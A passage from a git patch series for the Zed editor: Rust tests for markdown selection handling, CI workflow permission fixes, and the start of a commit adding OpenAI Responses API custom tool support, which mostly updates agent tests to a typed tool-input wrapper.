+            "an end in the opening delimiter must retreat to before the span",
+        );
+        assert_snapped(
+            "**bold«**» rest",
+            None,
+            "a selection covering only delimiter text must collapse",
+        );
+    }
+
+    #[test]
+    fn test_snap_out_of_delimiters_cascades_through_nested_spans() {
+        assert_snapped(
+            "**`«code`*»*",
+            Some("**`«code»`**"),
+            "an end inside bold's closing `**` first snaps to code's closing \
+             backtick, so it must cascade into the code content",
+        );
+    }
+
+    #[test]
+    fn test_snap_to_char_boundaries() {
+        // `√` occupies bytes 1..4.
+        let source = "a√b";
+        assert_eq!(
+            snap_to_char_boundaries(source, 0..5),
+            Some(0..5),
+            "boundaries already on char boundaries must be untouched"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, 0..2),
+            Some(0..4),
+            "an end mid-character must expand forward to keep the character"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, 2..5),
+            Some(1..5),
+            "a start mid-character must expand backward to keep the character"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, 2..3),
+            Some(1..4),
+            "a selection entirely inside a character must cover the whole character"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, 2..10),
+            Some(1..5),
+            "an end past the source must clamp to its length"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, 2..2),
+            None,
+            "an empty selection must collapse, even mid-character"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, 5..10),
+            None,
+            "a selection entirely past the source must collapse"
+        );
+        assert_eq!(
+            snap_to_char_boundaries(source, Range { start: 4, end: 2 }),
+            None,
+            "a reversed selection must collapse"
+        );
+    }
+
+    fn selection_is_plain(marked_source: &str) -> bool {
+        let (source, selection) = marked_range(marked_source);
+        selection_is_only_inside_code_spans(&inline_spans(&source), &selection)
+    }
+
+    #[test]
+    fn test_selection_is_only_inside_code_spans() {
+        assert!(
+            selection_is_plain("run `«cargo» test` now"),
+            "a selection fully inside the code span's content must be plain"
+        );
+        assert!(
+            !selection_is_plain("«run `cargo» test` now"),
+            "a selection reaching outside the code span must not be plain"
+        );
+        assert!(
+            !selection_is_plain("**`«code»`**"),
+            "code nested in bold must not be plain: the bold span also contains it"
+        );
+    }
+
+    #[test]
+    fn test_markdown_for_selection_balances_inline_spans() {
+        assert_marked_selection("This is **«bold»** text in a sentence.", "**bold**");
+        assert_marked_selection("This is **«bold**» text in a sentence.", "**bold**");
+        assert_marked_selection("Th«is is **bo»ld** text in a sentence.", "is is **bo**");
+
+        assert_marked_selection("This is *«italic»* text in a sentence.", "*italic*");
+        assert_marked_selection("This is *it«al»ic* text in a sentence.", "*al*");
+
+        assert_marked_selection("T«his is `cod»e` all `in one` sentence.", "his is `cod`");
+        assert_marked_selection(
+            "This is `c«ode` all `in o»ne` sentence.",
+            "`ode` all `in o`",
+        );
+        assert_marked_selection(
+            "This is `«code` all `in one»` sentence.",
+            "`code` all `in one`",
+        );
+        assert_marked_selection(
+            "This is `«code` all `in one`» sentence.",
+            "`code` all `in one`",
+        );
+
+        // Special case for single inline code blocks
+        assert_marked_selection("This is `«code»` all `in one` sentence.", "code");
+        assert_marked_selection("This is `«code`» all `in one` sentence.", "code");
+        assert_marked_selection("This is `c«od»e` all `in one` sentence.", "od");
+    }
+
+    #[test]
+    fn test_markdown_for_selection_nested_spans() {
+        assert_marked_selection("**bo«ld wi»th `code` inside**", "**ld wi**");
+        assert_marked_selection("**bold with `c«od»e` inside**", "**`od`**");
+        assert_marked_selection("**bold with `«code»` inside**", "**`code`**");
+        assert_marked_selection(
+            "**«bold with `code` inside»**",
+            "**bold with `code` inside**",
+        );
+        assert_marked_selection(
+            "«**bold with `code` inside**»",
+            "**bold with `code` inside**",
+        );
+    }
+
+    #[test]
+    fn test_markdown_for_selection_links() {
+        assert_marked_selection(
+            "[Visit Rust's we«bsite»](https://rust.org)",
+            "[bsite](https://rust.org)",
+        );
+        assert_marked_selection(
+            "[«Visit Rust's website»](https://rust.org)",
+            "[Visit Rust's website](https://rust.org)",
+        );
+        assert_marked_selection("visit https://«example».com now", "example");
+    }
+
+    #[test]
+    fn test_markdown_for_selection_scopes_to_boundary_blocks() {
+        assert_marked_selection(
+            "**bo«ld one**\n\nmiddle `x`\n\n*ita»lic two*",
+            "**ld one**\n\nmiddle `x`\n\n*ita*",
+        );
+        assert_marked_selection("**bold** first\n\nsecond *ita«li»c* here", "*li*");
+        assert_marked_selection("one\n«\ntwo»", "\ntwo");
+        assert_marked_selection("**one*«*\n\ntw»o", "\n\ntw");
+    }
+
+    #[test]
+    fn test_root_block_index() {
+        let starts = [2, 10, 20];
+        assert_eq!(
+            root_block_index(&starts, 0),
+            0,
+            "an offset before the first block start must clamp to the first block"
+        );
+        assert_eq!(root_block_index(&starts, 2), 0);
+        assert_eq!(root_block_index(&starts, 9), 0);
+        assert_eq!(root_block_index(&starts, 10), 1);
+        assert_eq!(root_block_index(&starts, 19), 1);
+        assert_eq!(root_block_index(&starts, 20), 2);
+        assert_eq!(
+            root_block_index(&starts, 100),
+            2,
+            "an offset past the last block start must clamp to the last block"
+        );
+    }
+
+    #[test]
+    fn test_root_block_events_slices_each_block() {
+        let source = "first **a**\n\nsecond `b`\n\nthird *c*";
+        let parsed = parse_markdown_with_options(source, false, false, false);
+        let events = parsed.events.as_slice();
+        let starts = parsed.root_block_starts.as_slice();
+        assert_eq!(starts, &[0, 13, 25]);
+
+        let mut sliced_events = Vec::new();
+        for block in 0..starts.len() {
+            let slice = root_block_events(events, starts, block);
+            assert!(!slice.is_empty(), "block {block} must have events");
+            let block_end = starts.get(block + 1).copied().unwrap_or(source.len());
+            for (range, event) in slice {
+                assert!(
+                    (starts[block]..block_end).contains(&range.start),
+                    "event {event:?} at {range:?} must start within block {block}"
+                );
+            }
+            sliced_events.extend_from_slice(slice);
+        }
+        assert_eq!(
+            sliced_events, events,
+            "the per-block slices must partition all events in order"
+        );
+
+        assert_eq!(
+            root_block_events(events, starts, starts.len()),
+            events,
+            "an out-of-range block index must fall back to all events"
+        );
+    }
+
+    #[test]
+    fn test_markdown_for_selection_plain_text_and_blocks() {
+        assert_eq!(
+            markdown_for_marked("some «text»"),
+            "text",
+            "plain text must be unchanged"
+        );
+        assert_eq!(
+            markdown_for_marked("«para one\n\n- item **bold**\n- item two»"),
+            "para one\n\n- item **bold**\n- item two",
+            "selections spanning multiple blocks must keep interior syntax as-is"
+        );
+        assert_eq!(
+            markdown_for_marked("```rust\n«let x = 1;»\n```"),
+            "let x = 1;",
+            "a selection inside a fenced code block must stay plain"
+        );
+        assert_eq!(
+            markdown_for("abc", 2..100),
+            "c",
+            "out-of-bounds ends must be clamped"
+        );
+        assert_eq!(
+            markdown_for("abc", Range { start: 3, end: 2 }),
+            "",
+            "inverted ranges must yield an empty string"
+        );
+    }
+}
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index db6c1a80786db7..81349a59f3bbee 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -1385,7 +1385,11 @@ impl SearchableItem for MarkdownPreviewView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) -> String {
-        self.markdown.read(cx).selected_text().unwrap_or_default()
+        self.markdown
+            .read(cx)
+            .selected_source()
+            .unwrap_or_default()
+            .to_string()
     }
 
     fn activate_match(

From 9b4598f708adbd6a91c9ae6c19a3b960e9ba4039 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Thu, 9 Jul 2026 13:19:07 +0200
Subject: [PATCH 358/772] ci: Fix insufficient permissions for asset validation
 step (#60625)

Release Notes:

- N/A
---
 .github/workflows/release.yml                |  2 ++
 tooling/xtask/src/tasks/workflows/release.rs | 11 ++++++++---
 2 files changed, 10 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index ec65ab2c8725a3..5a3808e06323c6 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -760,6 +760,8 @@ jobs:
     needs:
     - upload_release_assets
     runs-on: namespace-profile-2x4-ubuntu-2404
+    permissions:
+      contents: write
     steps:
     - name: release::validate_release_assets
       run: |
diff --git a/tooling/xtask/src/tasks/workflows/release.rs b/tooling/xtask/src/tasks/workflows/release.rs
index fc3060e375a5e3..ba6bafb933ebad 100644
--- a/tooling/xtask/src/tasks/workflows/release.rs
+++ b/tooling/xtask/src/tasks/workflows/release.rs
@@ -356,9 +356,14 @@ fn validate_release_assets(deps: &[&NamedJob]) -> NamedJob {
     };
 
     named::job(
-        dependant_job(deps).runs_on(runners::LINUX_SMALL).add_step(
-            named::bash(&validation_script).add_env(("GITHUB_TOKEN", vars::GITHUB_TOKEN)),
-        ),
+        dependant_job(deps)
+            .runs_on(runners::LINUX_SMALL)
+            // The release is still a draft at this point, and draft releases are
+            // only visible to tokens with write access to repository contents.
+            .permissions(Permissions::default().contents(Level::Write))
+            .add_step(
+                named::bash(&validation_script).add_env(("GITHUB_TOKEN", vars::GITHUB_TOKEN)),
+            ),
     )
 }
 

From 55b776183d5fe47eb7dffc7dbe1f3710089f6b50 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Thu, 9 Jul 2026 13:34:57 +0200
Subject: [PATCH 359/772] ci: Fix push permissions for cherry-pick workflow
 (#60673)

Release Notes:

- N/A
---
 .github/workflows/cherry_pick.yml                | 9 +++++----
 tooling/xtask/src/tasks/workflows/cherry_pick.rs | 2 +-
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/cherry_pick.yml b/.github/workflows/cherry_pick.yml
index 0e18eb2d16ded5..48474ac0bd55e5 100644
--- a/.github/workflows/cherry_pick.yml
+++ b/.github/workflows/cherry_pick.yml
@@ -27,10 +27,6 @@ jobs:
   run_cherry_pick:
     runs-on: namespace-profile-2x4-ubuntu-2404
     steps:
-    - name: steps::checkout_repo
-      uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
-      with:
-        clean: false
     - id: generate-token
       name: steps::authenticate_as_zippy
       uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859
@@ -40,6 +36,11 @@ jobs:
         permission-contents: write
         permission-workflows: write
         permission-pull-requests: write
+    - name: steps::checkout_repo
+      uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
+      with:
+        clean: false
+        token: ${{ steps.generate-token.outputs.token }}
     - name: cherry_pick::run_cherry_pick::cherry_pick
       run: ./script/cherry-pick "$BRANCH" "$COMMIT" "$CHANNEL"
       env:
diff --git a/tooling/xtask/src/tasks/workflows/cherry_pick.rs b/tooling/xtask/src/tasks/workflows/cherry_pick.rs
index cc9e8ca64b4f29..8621829e095bfc 100644
--- a/tooling/xtask/src/tasks/workflows/cherry_pick.rs
+++ b/tooling/xtask/src/tasks/workflows/cherry_pick.rs
@@ -59,8 +59,8 @@ fn run_cherry_pick(
     named::job(
         Job::default()
             .runs_on(runners::LINUX_SMALL)
-            .add_step(steps::checkout_repo())
             .add_step(authenticate)
+            .add_step(steps::checkout_repo().with_token(&token))
             .add_step(cherry_pick(branch, commit, channel, &token)),
     )
 }

From 3e976e89bc3767a776965ee4589266b63caac23d Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Thu, 9 Jul 2026 08:05:50 -0400
Subject: [PATCH 360/772] language_model: Add OpenAI Responses API custom tool
 support (#60638)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Allow zed's language model stack to express OpenAI Responses API custom
tools (freeform text-input tools with an optional lark/regex grammar),
so downstream consumers can offer tools like a freeform `apply_patch` to
GPT models.
## Solution

- `LanguageModelRequestTool` now carries a Function-vs-Custom input
variant; `LanguageModelCustomToolFormat` models text/grammar formats.
- `LanguageModelToolUse.input` becomes a typed
`LanguageModelToolUseInput::{Json, Text}`. Serialization is tagged so
persisted Text inputs round-trip losslessly; legacy plain JSON values
still deserialize as `Json`.
- `open_ai` gains the custom tool wire types (tool definition,
`custom_tool_call`/`custom_tool_call_output` input items with
string-or-content-part outputs, output item, and
`custom_tool_call_input` delta/done stream events). The Responses event
mapper accumulates raw text deltas into `ToolUse` events, and history
replay derives custom-vs-function tool results from the matching
`ToolUse` by id.
- All non-OpenAI providers and the Chat Completions path error
explicitly when a request contains custom tools — no silent drops or
empty-schema coercions.

Release Notes:

- N/A
---
 crates/agent/src/db.rs                        |   4 +-
 crates/agent/src/tests/mod.rs                 | 138 ++--
 crates/agent/src/thread.rs                    |  76 +-
 crates/agent/src/tools.rs                     |  12 +-
 crates/agent/src/tools/evals/edit_file.rs     |   8 +-
 crates/agent/src/tools/evals/terminal_tool.rs |   4 +-
 crates/agent/src/tools/evals/write_file.rs    |   8 +-
 crates/agent_ui/src/buffer_codegen.rs         |  36 +-
 crates/anthropic/src/completion.rs            | 150 ++--
 crates/google_ai/src/completion.rs            | 131 ++--
 .../src/language_model_core.rs                | 186 ++++-
 crates/language_model_core/src/request.rs     |  71 +-
 .../language_models/src/provider/anthropic.rs |   7 +-
 .../src/provider/anthropic_compatible.rs      |   7 +-
 .../language_models/src/provider/bedrock.rs   |  62 +-
 .../src/provider/copilot_chat.rs              |  71 +-
 .../language_models/src/provider/deepseek.rs  |  51 +-
 crates/language_models/src/provider/google.rs |   7 +-
 .../language_models/src/provider/llama_cpp.rs |  67 +-
 .../language_models/src/provider/lmstudio.rs  |  48 +-
 .../language_models/src/provider/mistral.rs   |  60 +-
 crates/language_models/src/provider/ollama.rs |  52 +-
 .../language_models/src/provider/open_ai.rs   |   7 +-
 .../src/provider/open_ai_compatible.rs        |  10 +-
 .../src/provider/open_router.rs               |  59 +-
 .../language_models/src/provider/opencode.rs  |  19 +-
 .../src/provider/vercel_ai_gateway.rs         |   7 +-
 crates/language_models/src/provider/x_ai.rs   |   7 +-
 .../src/language_models_cloud.rs              |  20 +-
 crates/open_ai/src/completion.rs              | 661 +++++++++++++++---
 crates/open_ai/src/responses.rs               | 107 ++-
 31 files changed, 1652 insertions(+), 501 deletions(-)

diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index a09aa9c2c132fd..8e17b2905484ff 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -281,7 +281,9 @@ impl DbThread {
                                 name: tool_use.name.into(),
                                 raw_input: serde_json::to_string(&tool_use.input)
                                     .unwrap_or_default(),
-                                input: tool_use.input,
+                                input: language_model::LanguageModelToolUseInput::Json(
+                                    tool_use.input,
+                                ),
                                 is_input_complete: true,
                                 thought_signature: None,
                             },
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 4998a210b8a9d5..446dee9f4636b8 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -689,7 +689,7 @@ async fn test_prompt_caching(cx: &mut TestAppContext) {
         id: "tool_1".into(),
         name: EchoTool::NAME.into(),
         raw_input: json!({"text": "test"}).to_string(),
-        input: json!({"text": "test"}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({"text": "test"})),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -840,17 +840,25 @@ async fn test_streaming_tool_calls(cx: &mut TestAppContext) {
                     assert_eq!(last_tool_use.name.as_ref(), "word_list");
                     if tool_call.status == acp::ToolCallStatus::Pending {
                         if !last_tool_use.is_input_complete
-                            && last_tool_use.input.get("g").is_none()
+                            && last_tool_use
+                                .input
+                                .as_json()
+                                .and_then(|input| input.get("g"))
+                                .is_none()
                         {
                             saw_partial_tool_use = true;
                         }
                     } else {
                         last_tool_use
                             .input
+                            .as_json()
+                            .expect("tool input should be JSON")
                             .get("a")
                             .expect("'a' has streamed because input is now complete");
                         last_tool_use
                             .input
+                            .as_json()
+                            .expect("tool input should be JSON")
                             .get("g")
                             .expect("'g' has streamed because input is now complete");
                     }
@@ -884,7 +892,7 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
             id: "tool_id_1".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -894,7 +902,7 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
             id: "tool_id_2".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -951,7 +959,7 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
             id: "tool_id_3".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -990,7 +998,7 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
             id: "tool_id_4".into(),
             name: ToolRequiringPermission::NAME.into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1029,7 +1037,7 @@ async fn test_tool_hallucination(cx: &mut TestAppContext) {
             id: "tool_id_1".into(),
             name: "nonexistent_tool".into(),
             raw_input: "{}".into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1533,7 +1541,7 @@ async fn test_mcp_tools(cx: &mut TestAppContext) {
             id: "tool_1".into(),
             name: "echo".into(),
             raw_input: json!({"text": "test"}).to_string(),
-            input: json!({"text": "test"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "test"})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1577,7 +1585,7 @@ async fn test_mcp_tools(cx: &mut TestAppContext) {
             id: "tool_2".into(),
             name: "test_server_echo".into(),
             raw_input: json!({"text": "mcp"}).to_string(),
-            input: json!({"text": "mcp"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "mcp"})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1587,7 +1595,7 @@ async fn test_mcp_tools(cx: &mut TestAppContext) {
             id: "tool_3".into(),
             name: "echo".into(),
             raw_input: json!({"text": "native"}).to_string(),
-            input: json!({"text": "native"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "native"})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1697,7 +1705,7 @@ async fn test_mcp_tool_names_are_sanitized_for_providers(cx: &mut TestAppContext
             id: "tool_1".into(),
             name: "snake_case_PascalCase".into(),
             raw_input: json!({}).to_string(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1786,7 +1794,7 @@ async fn test_mcp_tool_multi_content_response(cx: &mut TestAppContext) {
             id: "tool_1".into(),
             name: "screenshot".into(),
             raw_input: json!({}).to_string(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -1936,7 +1944,9 @@ async fn test_mcp_tool_result_displayed_when_server_disconnected(cx: &mut TestAp
             name: "issue_read".into(),
             raw_input: json!({"issue_url": "https://github.com/zed-industries/zed/issues/47404"})
                 .to_string(),
-            input: json!({"issue_url": "https://github.com/zed-industries/zed/issues/47404"}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"issue_url": "https://github.com/zed-industries/zed/issues/47404"}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2351,7 +2361,9 @@ async fn test_terminal_tool_cancellation_captures_output(cx: &mut TestAppContext
             id: "terminal_tool_1".into(),
             name: TerminalTool::NAME.into(),
             raw_input: r#"{"command": "sleep 1000", "cd": "."}"#.into(),
-            input: json!({"command": "sleep 1000", "cd": "."}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"command": "sleep 1000", "cd": "."}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2446,7 +2458,7 @@ async fn test_cancellation_aware_tool_responds_to_cancellation(cx: &mut TestAppC
             id: "cancellation_aware_1".into(),
             name: "cancellation_aware".into(),
             raw_input: r#"{}"#.into(),
-            input: json!({}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2632,7 +2644,9 @@ async fn test_truncate_while_terminal_tool_running(cx: &mut TestAppContext) {
             id: "terminal_tool_1".into(),
             name: TerminalTool::NAME.into(),
             raw_input: r#"{"command": "sleep 1000", "cd": "."}"#.into(),
-            input: json!({"command": "sleep 1000", "cd": "."}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"command": "sleep 1000", "cd": "."}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2697,7 +2711,9 @@ async fn test_cancel_multiple_concurrent_terminal_tools(cx: &mut TestAppContext)
             id: "terminal_tool_1".into(),
             name: TerminalTool::NAME.into(),
             raw_input: r#"{"command": "sleep 1000", "cd": "."}"#.into(),
-            input: json!({"command": "sleep 1000", "cd": "."}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"command": "sleep 1000", "cd": "."}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2707,7 +2723,9 @@ async fn test_cancel_multiple_concurrent_terminal_tools(cx: &mut TestAppContext)
             id: "terminal_tool_2".into(),
             name: TerminalTool::NAME.into(),
             raw_input: r#"{"command": "sleep 2000", "cd": "."}"#.into(),
-            input: json!({"command": "sleep 2000", "cd": "."}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"command": "sleep 2000", "cd": "."}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2811,7 +2829,9 @@ async fn test_terminal_tool_stopped_via_terminal_card_button(cx: &mut TestAppCon
             id: "terminal_tool_1".into(),
             name: TerminalTool::NAME.into(),
             raw_input: r#"{"command": "sleep 1000", "cd": "."}"#.into(),
-            input: json!({"command": "sleep 1000", "cd": "."}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"command": "sleep 1000", "cd": "."}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -2907,7 +2927,9 @@ async fn test_terminal_tool_timeout_expires(cx: &mut TestAppContext) {
             id: "terminal_tool_1".into(),
             name: TerminalTool::NAME.into(),
             raw_input: r#"{"command": "sleep 1000", "cd": ".", "timeout_ms": 100}"#.into(),
-            input: json!({"command": "sleep 1000", "cd": ".", "timeout_ms": 100}),
+            input: language_model::LanguageModelToolUseInput::Json(
+                json!({"command": "sleep 1000", "cd": ".", "timeout_ms": 100}),
+            ),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -3376,7 +3398,7 @@ async fn test_cumulative_token_usage(cx: &mut TestAppContext) {
             id: "tool_1".into(),
             name: EchoTool::NAME.into(),
             raw_input: json!({"text": "hello"}).to_string(),
-            input: json!({"text": "hello"}),
+            input: language_model::LanguageModelToolUseInput::Json(json!({"text": "hello"})),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -3786,7 +3808,7 @@ async fn test_building_request_with_pending_tools(cx: &mut TestAppContext) {
         id: "tool_id_1".into(),
         name: ToolRequiringPermission::NAME.into(),
         raw_input: "{}".into(),
-        input: json!({}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({})),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -3794,7 +3816,7 @@ async fn test_building_request_with_pending_tools(cx: &mut TestAppContext) {
         id: "tool_id_2".into(),
         name: EchoTool::NAME.into(),
         raw_input: json!({"text": "test"}).to_string(),
-        input: json!({"text": "test"}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({"text": "test"})),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -3992,7 +4014,7 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
             id: "1".into(),
             name: EchoTool::NAME.into(),
             raw_input: input.to_string(),
-            input,
+            input: language_model::LanguageModelToolUseInput::Json(input),
             is_input_complete: false,
             thought_signature: None,
         },
@@ -4005,7 +4027,7 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
             id: "1".into(),
             name: "echo".into(),
             raw_input: input.to_string(),
-            input,
+            input: language_model::LanguageModelToolUseInput::Json(input),
             is_input_complete: true,
             thought_signature: None,
         },
@@ -4175,7 +4197,7 @@ async fn test_send_retry_finishes_tool_calls_on_error(cx: &mut TestAppContext) {
         id: "tool_1".into(),
         name: EchoTool::NAME.into(),
         raw_input: json!({"text": "test"}).to_string(),
-        input: json!({"text": "test"}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({"text": "test"})),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -4323,7 +4345,7 @@ async fn test_streaming_tool_completes_when_llm_stream_ends_without_final_input(
         id: "tool_1".into(),
         name: "streaming_echo".into(),
         raw_input: r#"{"text": "partial"}"#.into(),
-        input: json!({"text": "partial"}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({"text": "partial"})),
         is_input_complete: false,
         thought_signature: None,
     };
@@ -4428,7 +4450,7 @@ async fn test_streaming_tool_json_parse_error_is_forwarded_to_running_tool(
         id: "tool_1".into(),
         name: StreamingJsonErrorContextTool::NAME.into(),
         raw_input: r#"{"text": "partial"#.into(),
-        input: json!({"text": "partial"}),
+        input: language_model::LanguageModelToolUseInput::Json(json!({"text": "partial"})),
         is_input_complete: false,
         thought_signature: None,
     };
@@ -5228,7 +5250,9 @@ async fn test_subagent_tool_call_end_to_end(cx: &mut TestAppContext) {
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -5362,7 +5386,9 @@ async fn test_subagent_tool_output_does_not_include_thinking(cx: &mut TestAppCon
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -5509,7 +5535,9 @@ async fn test_subagent_tool_call_cancellation_during_task_prompt(cx: &mut TestAp
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -5638,7 +5666,9 @@ async fn test_subagent_tool_resume_session(cx: &mut TestAppContext) {
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -5699,7 +5729,9 @@ async fn test_subagent_tool_resume_session(cx: &mut TestAppContext) {
         id: "subagent_2".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&resume_tool_input).unwrap(),
-        input: serde_json::to_value(&resume_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&resume_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -6285,7 +6317,9 @@ async fn test_subagent_context_window_warning(cx: &mut TestAppContext) {
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -6410,7 +6444,9 @@ async fn test_subagent_no_context_window_warning_when_already_at_warning(cx: &mu
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -6476,7 +6512,9 @@ async fn test_subagent_no_context_window_warning_when_already_at_warning(cx: &mu
         id: "subagent_2".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&resume_tool_input).unwrap(),
-        input: serde_json::to_value(&resume_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&resume_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -6583,7 +6621,9 @@ async fn test_subagent_error_propagation(cx: &mut TestAppContext) {
         id: "subagent_1".into(),
         name: SpawnAgentTool::NAME.into(),
         raw_input: serde_json::to_string(&subagent_tool_input).unwrap(),
-        input: serde_json::to_value(&subagent_tool_input).unwrap(),
+        input: language_model::LanguageModelToolUseInput::Json(
+            serde_json::to_value(&subagent_tool_input).unwrap(),
+        ),
         is_input_complete: true,
         thought_signature: None,
     };
@@ -7372,7 +7412,7 @@ async fn test_always_allow_resolves_pending_authorizations(cx: &mut TestAppConte
                 id: id.into(),
